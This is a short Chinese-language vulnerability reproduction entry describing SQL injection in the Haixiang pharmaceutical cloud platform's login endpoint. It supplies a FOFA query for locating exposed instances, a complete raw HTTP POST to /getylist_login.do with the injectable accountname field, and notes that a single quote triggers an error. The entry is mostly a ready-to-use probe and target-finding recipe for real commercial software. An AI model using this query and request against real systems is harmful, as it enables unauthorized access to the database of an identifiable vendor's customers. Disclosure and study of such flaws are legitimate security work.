

H28-1海翔-云平台-SQL

漏洞描述：

成都海翔软件有限公司海翔药业云平台存在sq注入，攻击者可利用此漏洞查询数据、获取系统信息，造成数据及其它安全风险。

网站图片：



网络测绘：

fofa语法：

title="登录海翔"

漏洞复现：

payload:

```
POST /getylist_login.do HTTP/1.1
Host: 127.0.0.1
Content-Length: 14
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=FAE14B13415BA359B95FE239A9272270; __session:0.4635490933257511:=http:
Connection: close
```

accountname=1

效果图：



输入单引号报错

